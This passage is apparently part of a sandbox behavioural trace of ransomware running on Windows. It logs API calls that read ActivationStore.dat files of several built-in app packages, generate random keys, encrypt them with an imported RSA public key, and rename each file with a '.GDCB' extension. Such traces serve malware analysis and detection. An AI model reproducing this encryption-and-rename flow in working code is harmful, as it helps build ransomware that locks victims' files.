data\\packages\\microsoft.windowscalculator_8wekyb3d8bbwe\\microsoft.windowscalculator_10.1506.19010.0_x64__8wekyb3d8bbwe\\activationstore\\activationstore.dat"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.WindowsCalculator_8wekyb3d8bbwe\\Microsoft.WindowsCalculator_10.1506.19010.0_x64__8wekyb3d8bbwe\\ActivationStore\\ActivationStore.dat.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\packages\\microsoft.windowscalculator_8wekyb3d8bbwe\\microsoft.windowscalculator_10.1506.19010.0_x64__8wekyb3d8bbwe\\activationstore\\activationstore.dat.gdcb")) returned 1 [0298.449] CryptAcquireContextW (in: phProv=0x285dee4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dee4*=0x5c4760) returned 1 [0298.453] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0298.456] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0298.456] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285e034 | out: pbBuffer=0x285e034) returned 1 [0298.456] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0298.456] CryptAcquireContextW (in: phProv=0x285dee4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dee4*=0x5c4e48) returned 1 [0298.459] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0298.462] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0298.462] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285e000 | out: pbBuffer=0x285e000) returned 1 [0298.462] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0298.462] CryptAcquireContextW (in: phProv=0x285ded4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ded4*=0x5c4980) returned 1 [0298.464] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ded8 | out: phKey=0x285ded8*=0x67ad6b0) returned 1 [0298.464] CryptGetKeyParam (in: hKey=0x67ad6b0, dwParam=0x8, pbData=0x285dec4, pdwDataLen=0x285decc, dwFlags=0x0 | out: pbData=0x285dec4*=0x800, pdwDataLen=0x285decc*=0x4) returned 1 [0298.464] CryptEncrypt (in: hKey=0x67ad6b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x25a0000*, pdwDataLen=0x285e04c*=0xc8, dwBufLen=0x800 | out: pbData=0x25a0000*, pdwDataLen=0x285e04c*=0x100) returned 1 [0298.465] GetLastError () returned 0x0 [0298.465] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0298.465] CryptAcquireContextW (in: phProv=0x285ded4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ded4*=0x5c4760) returned 1 [0298.467] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ded8 | out: phKey=0x285ded8*=0x67ad2f0) returned 1 [0298.467] CryptGetKeyParam (in: hKey=0x67ad2f0, dwParam=0x8, pbData=0x285dec4, pdwDataLen=0x285decc, dwFlags=0x0 | out: pbData=0x285dec4*=0x800, pdwDataLen=0x285decc*=0x4) returned 1 [0298.467] CryptEncrypt (in: hKey=0x67ad2f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x25b0000*, pdwDataLen=0x285e050*=0xc8, dwBufLen=0x800 | out: pbData=0x25b0000*, pdwDataLen=0x285e050*=0x100) returned 1 [0298.467] GetLastError () returned 0x0 [0298.467] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0298.467] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.WindowsCamera_8wekyb3d8bbwe\\Microsoft.WindowsCamera_5.38.3003.0_x64__8wekyb3d8bbwe\\ActivationStore\\ActivationStore.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\packages\\microsoft.windowscamera_8wekyb3d8bbwe\\microsoft.windowscamera_5.38.3003.0_x64__8wekyb3d8bbwe\\activationstore\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c8 [0298.468] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x25c0000 [0298.472] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xd920000 [0298.474] ReadFile (in: hFile=0x3c8, lpBuffer=0xd920000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285e090, lpOverlapped=0x0 | out: lpBuffer=0xd920000*, lpNumberOfBytesRead=0x285e090*=0x4210, lpOverlapped=0x0) returned 1 [0298.483] VirtualAlloc (lpAddress=0x0, dwSize=0x4210, flAllocationType=0x3000, flProtect=0x4) returned 0x25d0000 [0298.489] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.WindowsCamera_8wekyb3d8bbwe\\Microsoft.WindowsCamera_5.38.3003.0_x64__8wekyb3d8bbwe\\ActivationStore\\ActivationStore.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\packages\\microsoft.windowscamera_8wekyb3d8bbwe\\microsoft.windowscamera_5.38.3003.0_x64__8wekyb3d8bbwe\\activationstore\\activationstore.dat"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.WindowsCamera_8wekyb3d8bbwe\\Microsoft.WindowsCamera_5.38.3003.0_x64__8wekyb3d8bbwe\\ActivationStore\\ActivationStore.dat.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\packages\\microsoft.windowscamera_8wekyb3d8bbwe\\microsoft.windowscamera_5.38.3003.0_x64__8wekyb3d8bbwe\\activationstore\\activationstore.dat.gdcb")) returned 1 [0298.521] CryptAcquireContextW (in: phProv=0x285dee4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dee4*=0x5c4e48) returned 1 [0298.524] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0298.526] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0298.527] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285e034 | out: pbBuffer=0x285e034) returned 1 [0298.527] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0298.527] CryptAcquireContextW (in: phProv=0x285dee4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dee4*=0x5c4760) returned 1 [0298.529] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0298.532] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0298.532] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285e000 | out: pbBuffer=0x285e000) returned 1 [0298.532] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0298.532] CryptAcquireContextW (in: phProv=0x285ded4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ded4*=0x5c4760) returned 1 [0298.534] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ded8 | out: phKey=0x285ded8*=0x67ad3b0) returned 1 [0298.534] CryptGetKeyParam (in: hKey=0x67ad3b0, dwParam=0x8, pbData=0x285dec4, pdwDataLen=0x285decc, dwFlags=0x0 | out: pbData=0x285dec4*=0x800, pdwDataLen=0x285decc*=0x4) returned 1 [0298.534] CryptEncrypt (in: hKey=0x67ad3b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x25a0000*, pdwDataLen=0x285e04c*=0xc8, dwBufLen=0x800 | out: pbData=0x25a0000*, pdwDataLen=0x285e04c*=0x100) returned 1 [0298.534] GetLastError () returned 0x0 [0298.534] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0298.535] CryptAcquireContextW (in: phProv=0x285ded4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ded4*=0x5c4760) returned 1 [0298.536] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ded8 | out: phKey=0x285ded8*=0x67ad730) returned 1 [0298.536] CryptGetKeyParam (in: hKey=0x67ad730, dwParam=0x8, pbData=0x285dec4, pdwDataLen=0x285decc, dwFlags=0x0 | out: pbData=0x285dec4*=0x800, pdwDataLen=0x285decc*=0x4) returned 1 [0298.536] CryptEncrypt (in: hKey=0x67ad730, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x25b0000*, pdwDataLen=0x285e050*=0xc8, dwBufLen=0x800 | out: pbData=0x25b0000*, pdwDataLen=0x285e050*=0x100) returned 1 [0298.537] GetLastError () returned 0x0 [0298.537] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0298.537] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Packages\\microsoft.windowscommunicationsapps_8wekyb3d8bbwe\\microsoft.windowscommunicationsapps_17.6002.42251.0_x64__8wekyb3d8bbwe\\ActivationStore\\ActivationStore.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\packages\\microsoft.windowscommunicationsapps_8wekyb3d8bbwe\\microsoft.windowscommunicationsapps_17.6002.42251.0_x64__8wekyb3d8bbwe\\activationstore\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0298.573] CryptAcquireContextW (in: phProv=0x285dee4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dee4*=0x5c4e48) returned 1 [0298.576] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0298.579] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0298.579] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285e034 | out: pbBuffer=0x285e034) returned 1 [0298.579] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0298.579] CryptAcquireContextW (in: phProv=0x285dee4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dee4*=0x5c4980) returned 1 [0298.582] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0298.584] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0298.584] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285e000 | out: pbBuffer=0x285e000) returned 1 [0298.584] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0298.584] CryptAcquireContextW (in: phProv=0x285ded4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ded4*=0x5c4e48) returned 1 [0298.586] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ded8 | out: phKey=0x285ded8*=0x67ad770) returned 1 [0298.586] CryptGetKeyParam (in: hKey=0x67ad770, dwParam=0x8, pbData=0x285dec4, pdwDataLen=0x285decc, dwFlags=0x0 | out: pbData=0x285dec4*=0x800, pdwDataLen=0x285decc*=0x4) returned 1 [0298.586] CryptEncrypt (in: hKey=0x67ad770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x25c0000*, pdwDataLen=0x285e04c*=0xc8, dwBufLen=0x800 | out: pbData=0x25c0000*, pdwDataLen=0x285e04c*=0x100) returned 1 [0298.587] GetLastError () returned 0x0 [0298.587] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0298.587] CryptAcquireContextW (in: phProv=0x285ded4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ded4*=0x5c4760) returned 1 [0298.588] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ded8 | out: phKey=0x285ded8*=0x67ad470) returned 1 [0298.588] CryptGetKeyParam (in: hKey=0x67ad470, dwParam=0x8, pbData=0x285dec4, pdwDataLen=0x285decc, dwFlags=0x0 | out: pbData=0x285dec4*=0x800, pdwDataLen=0x285decc*=0x4) returned 1 [0298.588] CryptEncrypt (in: hKey=0x67ad470, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x25d0000*, pdwDataLen=0x285e050*=0xc8, dwBufLen=0x800 | out: pbData=0x25d0000*, pdwDataLen=0x285e050*=0x100) returned 1 [0298.589] GetLastError () returned 0x0 [0298.589] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0298.589] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.WindowsFeedback_cw5n1h2txyewy\\Microsoft.WindowsFeedback_10.0.10240.16384_neutral_neutral_cw5n1h2txyewy\\ActivationStore\\ActivationStore.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\packages\\microsoft.windowsfeedback_cw5n1h2txyewy\\microsoft.windowsfeedback_10.0.10240.16384_neutral_neutral_cw5n1h2txyewy\\activationstore\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0298.607] CryptAcquireContextW (in: phProv=0x285dee4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dee4*=0x5c4760) returned 1 [0298.611] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0298.613] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0298.613] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285e034 | out: pbBuffer=0x285e034) returned 1 [0298.613] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0298.613] CryptAcquireContextW (in: phProv=0x285dee4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dee4*=0x5c4760) returned 1 [0298.616] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0298.618] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0298.618] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285e000 | out: pbBuffer=0x285e000) returned 1 [0298.618] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0298.618] CryptAcquireContextW (in: phProv=0x285ded4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ded4*=0x5c4760) returned 1 [0298.621] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ded8 | out: phKey=0x285ded8*=0x67ad7f0) returned 1 [0298.621] CryptGetKeyParam (in: hKey=0x67ad7f0, dwParam=0x8, pbData=0x285dec4, pdwDataLen=0x285decc, dwFlags=0x0 | out: pbData=0x285dec4*=0x800, pdwDataLen=0x285decc*=0x4) returned 1 [0298.621] CryptEncrypt (in: hKey=0x67ad7f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x25e0000*, pdwDataLen=0x285e04c*=0xc8, dwBufLen=0x800 | out: pbData=0x25e0000*, pdwDataLen=0x285e04c*=0x100) returned 1 [0298.621] GetLastError () returned 0x0 [0298.621] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0298.621] CryptAcquireContextW (in: phProv=0x285ded4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ded4*=0x5c4760) returned 1 [0298.624] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ded8 | out: phKey=0x285ded8*=0x67ad830) returned 1 [0298.624] CryptGetKeyParam (in: hKey=0x67ad830, dwParam=0x8, pbData=0x285dec4, pdwDataLen=0x285decc, dwFlags=0x0 | out: pbData=0x285dec4*=0x800, pdwDataLen=0x285decc*=0x4) returned 1 [0298.624] CryptEncrypt (in: hKey=0x67ad830, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x25f0000*, pdwDataLen=0x285e050*=0xc8, dwBufLen=0x800 | out: pbData=0x25f0000*, pdwDataLen=0x285e050*=0x100) returned 1 [0298.624] GetLastError () returned 0x0 [0298.624] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0298.624] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.WindowsMaps_8wekyb3d8bbwe\\Microsoft.WindowsMaps_4.1505.50619.0_x64__8wekyb3d8bbwe\\ActivationStore\\ActivationStore.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\packages\\microsoft.windowsmaps_8wekyb3d8bbwe\\microsoft.windowsmaps_4.1505.50619.0_x64__8wekyb3d8bbwe\\activationstore\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c8 [0298.625] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xd920000 [0298.628] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xd930000 [0298.631] ReadFile (in: hFile=0x3c8, lpBuffer=0xd930000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285e090, lpOverlapped=0x0 | out: lpBuffer=0xd930000*, lpNumberOfBytesRead=0x285e090*=0x10210, lpOverlapped=0x0) returned 1 [0298.639] VirtualAlloc (lpAddress=0x0, dwSize=0x10210, flAllocationType=0x3000, flProtect=0x4) returned 0xda40000 [0298.647] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.WindowsMaps_8wekyb3d8bbwe\\Microsoft.WindowsMaps_4.1505.50619.0_x64__8wekyb3d8bbwe\\ActivationStore\\ActivationStore.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\packages\\microsoft.windowsmaps_8wekyb3d8bbwe\\microsoft.windowsmaps_4.1505.50619.0_x64__8wekyb3d8bbwe\\activationstore\\activationstore.dat"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.WindowsMaps_8wekyb3d8bbwe\\Microsoft.WindowsMaps_4.1505.50619.0_x64__8wekyb3d8bbwe\\ActivationStore\\ActivationStore.dat.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\packages\\microsoft.windowsmaps_8wekyb3d8bbwe\\microsoft.windowsmaps_4.1505.50619.0_x64__8wekyb3d8bbwe\\activationstore\\activationstore.dat.gdcb")) returned 1 [0298.666] CryptAcquireContextW (in: phProv=0x285dee4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dee4*=0x5c4e48) returned 1 [0298.669] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0298.672] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0298.672] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285e034 | out: pbBuffer=0x285e034) returned 1 [0298.672] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0298.672] CryptAcquireContextW (in: phProv=0x285dee4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dee4*=0x5c4760) returned 1 [0298.675] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0298.677] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0298.677] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285e000 | out: pbBuffer=0x285e000) returned 1 [0298.677] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0298.677] CryptAcquireContextW (in: phProv=0x285ded4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ded4*=0x5c4760) returned 1 [0298.679] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ded8 | out: phKey=0x285ded8*=0x67ad670) returned 1 [0298.679] CryptGetKeyParam (in: hKey=0x67ad670, dwParam=0x8, pbData=0x285dec4, pdwDataLen=0x285decc, dwFlags=0x0 | out: pbData=0x285dec4*=0x800, pdwDataLen=0x285decc*=0x4) returned 1 [0298.679] CryptEncrypt (in: hKey=0x67ad670, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x25e0000*, pdwDataLen=0x285e04c*=0xc8, dwBufLen=0x800 | out: pbData=0x25e0000*, pdwDataLen=0x285e04c*=0x100) returned 1 [0298.679] GetLastError () returned 0x0 [0298.680] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0298.680] CryptAcquireContextW (in: phProv=0x285ded4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ded4*=0x5c4e48) returned 1 [0298.681] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ded8 | out: phKey=0x285ded8*=0x67ad130) returned 1 [0298.681] CryptGetKeyParam (in: hKey=0x67ad130, dwParam=0x8, pbData=0x285dec4, pdwDataLen=0x285decc, dwFlags=0x0 | out: pbData=0x285dec4*=0x800, pdwDataLen=0x285decc*=0x4) returned 1 [0298.681] CryptEncrypt (in: hKey=0x67ad130, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x25f0000*, pdwDataLen=0x285e050*=0xc8, dwBufLen=0x800 | out: pbData=0x25f0000*, pdwDataLen=0x285e050*=0x100) returned 1 [0298.682] GetLastError () returned 0x0 [0298.682] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0298.682] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.WindowsPhone_8wekyb3d8bbwe\\Microsoft.WindowsPhone_10.1506.20010.0_x64__8wekyb3d8bbwe\\ActivationStore\\ActivationStore.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\packages\\microsoft.windowsphone_8wekyb3d8bbwe\\microsoft.windowsphone_10.1506.20010.0_x64__8wekyb3d8bbwe\\activationstore\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c8 [0298.682] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xd920000 [0298.703] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xd930000 [0298.706] ReadFile (in: hFile=0x3c8, lpBuffer=0xd930000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285e090, lpOverlapped=0x0 | out: lpBuffer=0xd930000*, lpNumberOfBytesRead=0x285e090*=0x8000, lpOverlapped=0x0) returned 1 [0298.723] VirtualAlloc (lpAddress=0x0, dwSize=0x8000, flAllocationType=0x3000, flProtect=0x4) returned 0xda40000 [0298.730] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.WindowsPhone_8wekyb3d8bbwe\\Microsoft.WindowsPhone_10.1506.20010.0_x64__8wekyb3d8bbwe\\ActivationStore\\ActivationStore.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\packages\\microsoft.windowsphone_8wekyb3d8bbwe\\microsoft.windowsphone_10.1506.20010.0_x64__8wekyb3d8bbwe\\activationstore\\activationstore.dat"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.WindowsPhone_8wekyb3d8bbwe\\Microsoft.WindowsPhone_10.1506.20010.0_x64__8wekyb3d8bbwe\\ActivationStore\\ActivationStore.dat.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\packages\\microsoft.windowsphone_8wekyb3d8bbwe\\microsoft.windowsphone_10.1506.20010.0_x64__8wekyb3d8bbwe\\activationstore\\activationstore.dat.gdcb")) returned 1 [0298.754] CryptAcquireContextW (in: phProv=0x285dee4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dee4*=0x5c4760) returned 1 [0298.757] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0298.760] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0298.760] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285e034 | out: pbBuffer=0x285e034) returned 1 [0298.760] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0298.760] CryptAcquireContextW (in: phProv=0x285dee4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dee4*=0x5c4760) returned 1 [0298.762] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0298.765] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0298.765] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285e000 | out: pbBuffer=0x285e000) returned 1 [0298.765] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0298.765] CryptAcquireContextW (in: phProv=0x285ded4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ded4*=0x5c4e48) returned 1 [0298.767] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ded8 | out: phKey=0x285ded8*=0x67ad1f0) returned 1 [0298.767] CryptGetKeyParam (in: hKey=0x67ad1f0, dwParam=0x8, pbData=0x285dec4, pdwDataLen=0x285decc, dwFlags=0x0 | out: pbData=0x285dec4*=0x800, pdwDataLen=0x285decc*=0x4) returned 1 [0298.767] CryptEncrypt (in: hKey=0x67ad1f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x25e0000*, pdwDataLen=0x285e04c*=0xc8, dwBufLen=0x800 | out: pbData=0x25e0000*, pdwDataLen=0x285e04c*=0x100) returned 1 [0298.767] GetLastError () returned 0x0 [0298.767] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0298.767] CryptAcquireContextW (in: phProv=0x285ded4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ded4*=0x5c4e48) returned 1 [0298.769] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ded8 | out: 